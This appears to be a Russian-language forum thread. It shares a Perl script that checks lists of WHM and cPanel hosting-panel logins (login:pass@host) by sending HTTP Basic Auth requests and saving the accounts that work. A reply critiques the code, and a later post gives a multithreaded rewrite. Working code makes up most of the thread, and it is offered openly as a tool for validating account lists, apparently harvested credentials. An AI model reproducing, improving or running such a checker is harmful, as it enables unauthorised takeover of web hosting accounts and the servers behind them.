Простенький чекер WHM и CPANEL акков Скармливать файл с акками вида: loginass@host.com login1ass1@host1.com login2ass2@host2.com PHP: #!/usr/bin/perl use IO::Socket; use MIME::Base64; my @acc : shared; my $i : shared; $accounts = 'accs.txt'; #Файл с акками $good = 'good.txt'; #Файл с прочеканными гуд акками $port = '2086'; #WHM - 2086, Cpanel - 2082 $timeout = '5'; #Таймаут open (ACS, "<$accounts"); @acc = acc(); while(@acc) { {lock(@acc);$acc = shift @acc;} my ($logpass, $server) = split(/@/, $acc); my ($login, $pass) = split(/:/, $logpass); $lp = $login.":".$pass; $nn = "\r\n"; $auth = MIME::Base64::encode($lp); my $sock = new IO::Socket::INET ( PeerAddr => $server, PeerPort => $port, PeerProto => 'tcp', TimeOut => $timeout ); if(!$sock){ print "$server - [TIMEOUT]\n" }else{ my $re = "GET / HTTP/1.1".$nn. "Host: ".$server.$nn. "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7".$nn. "Pragma: no-cache".$nn. "Cache-Control: no-cache".$nn. "Authorization: Basic ".$auth.$nn. "Connection: Keep-Alive".$nn.$nn; print $sock $re; sysread ($sock, my $answ, 400); close $sock; if ($answ =~ /200/){ print "$server - [OK]\n"; open(FILE, ">>$good"); print FILE "$acc\n"; close(FILE); }else{ print "$server - [BAD]\n"; } {lock($i);$i++;} } } sub acc { my (@mas); while (<ACS>){ push @mas, $_; } chomp @mas; return @mas; }
просили по критиковать, критикую зачем shared, если потоков нет? Code: my @acc : shared; my $i : shared; не лучше ли использовать $/ вместо: Code: $nn = "\r\n"; Везде нормально, а тут почему то переменные внесены в кавычки! Code: print "$server - [OK]\n"; print FILE "$acc\n"; print "$server - [BAD]\n"; Почему бы не написать так: Code: print $server." - [OK]".$/; print FILE $acc.$/; print $server." - [BAD]".$/;
А это мысль... Code: #!/usr/bin/perl -w use strict; use threads; use threads::shared; use IO::Socket; use MIME::Base64(); use Fcntl ':flock'; my $accounts = 'accs.txt'; #Файл с акками login:pass@host my $good = 'good.txt'; #Файл с прочеканными гуд акками my $port = '2082' ; #WHM - 2086, Cpanel - 2082 my $timeout = 5 ; #Таймаут my $threads = 1 ; #Потоки $| = 1; my @trl; open ACS, "<", $accounts || die $!; chomp(my @acc : shared = <ACS>); close ACS; my $size = scalar @acc; my $i : shared = 0; for(0..$threads-1) {$trl[$_] = threads->create(\&check, $_);} for(@trl) { $_->join; } sub check { while(@acc) { my ($cred, $host) = split /@/, shift @acc; my $s = sockme($host, $port); next if !$s; my $request = "GET / HTTP/1.0\n". "Host: $host\n". "User-Agent: Mozilla/5.0\n". "Connection: close\n". "Authorization: Basic ".MIME::Base64::encode($cred)."\n\n"; print $s $request; read $s, my $answ, 128; $answ =~ /200 OK/ ? note($cred.':'.$host) : (); {lock($i);$i++;} print "[ ".sprintf("%.2f", ($i/$size)*100)."% ]\r"; } } sub note { print localtime()." [+] $_[0]\n"; open F, ">>", $good || warn $!; flock F, 'LOCK_EX'; print F $_[0]."\n"; flock F, 'LOCK_UN'; close F; } sub sockme { my $sock = new IO::Socket::INET ( PeerAddr => $_[0], PeerPort => $_[1], PeerProto => 'tcp', TimeOut => $timeout, ) || warn $!; return $sock ? $sock : 0; } Мб есть косяки...